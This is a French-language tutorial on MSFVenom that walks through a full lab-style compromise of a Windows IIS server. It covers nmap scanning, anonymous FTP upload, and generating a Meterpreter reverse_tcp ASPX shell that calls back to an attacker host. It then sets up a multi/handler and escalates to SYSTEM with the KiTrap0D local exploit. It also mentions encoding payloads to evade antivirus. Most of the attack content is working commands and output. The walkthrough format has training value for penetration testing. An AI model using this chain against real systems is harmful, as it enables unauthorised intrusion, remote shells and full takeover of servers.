Introduction to MSFVenom

MSFVenom est l’évolution de MSFPayload et MSFEncode, deux scripts autonomes qui travaillaient auparavant avec msfconsole pour fournir aux utilisateurs des payloads personnalisables et difficiles à détecter.

Aujourd’hui, MSFVenom combine les fonctionnalités de ces deux outils :

• MSFPayload : génération de shellcode pour une architecture processeur et un OS précis.

• MSFEncode : encodage du shellcode pour retirer les caractères interdits et tenter d’échapper aux antivirus et systèmes IPS/IDS.

MSFVenom permet aux pentesters de créer rapidement des payloads adaptés à différents systèmes cibles tout en minimisant les erreurs à l’exécution. Cependant, l’évasion AV est aujourd’hui plus complexe à cause de l’analyse heuristique et du machine learning.

---

⚙️ Création de Payloads

Supposons que :

• un serveur FTP est ouvert avec des identifiants faibles ou un accès anonyme,

• il est lié à un service web sur le port 80,

• les fichiers FTP sont accessibles via /uploads sur le web,

• aucune restriction n’empêche l’exécution de code côté client.

Dans ce cas, il est possible de :

1. Uploader un shell PHP via FTP.

2. Accéder à ce fichier via le navigateur pour déclencher un reverse TCP vers notre machine.

---

🔍 Scan de la cible

nmap -sV -T4 -p- 10.10.10.5

Exemple de résultats :

PORT	STATE	SERVICE	VERSION
21/tcp	open	ftp	Microsoft ftpd
80/tcp	open	http	Microsoft IIS 7.5

---

⚡ FTP Anonymous Access

ftp 10.10.10.5
Name: anonymous
Password: ******

• Connexion réussie et accès aux fichiers.

• La présence de aspnet_client indique que les shells .aspx peuvent être exécutés.

---

🖥️ Génération du Payload

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=1337 -f aspx > reverse_shell.aspx

• -p : choix du payload

• LHOST / LPORT : IP et port de la machine attaquante

• -f : format de sortie (aspx pour serveur IIS)

Le fichier reverse_shell.aspx est maintenant prêt à être déclenché via le navigateur.

---

🕹️ Configuration du Handler dans MSFConsole

msfconsole -q
use multi/handler
set LHOST 10.10.14.5
set LPORT 1337
run

• Démarre un listener pour capter la connexion reverse.

• L’accès à http://10.10.10.5/reverse_shell.aspx déclenche le payload.

---

💻 Session Meterpreter

[*] Meterpreter session 1 opened (10.10.14.5:1337 -> 10.10.10.5:49157)
meterpreter > getuid
Server username: IIS APPPOOL\Web

• Si la session se ferme, l’encodage du payload peut améliorer la stabilité.

---

🛠️ Escalade de privilèges locale

Local Exploit Suggester

search local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 2
run

• Recherche automatique des exploits locaux adaptés à la session.

• Liste des exploits applicables et vulnérabilités détectées.

Exploit Local : KiTrap0D

search kitrap0d
use exploit/windows/local/ms10_015_kitrap0d
set LPORT 1338
set SESSION 3
run

• Exploit injecté dans un processus pour obtenir une session privilégiée :

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

• La machine est maintenant compromise avec des privilèges administrateurs.

---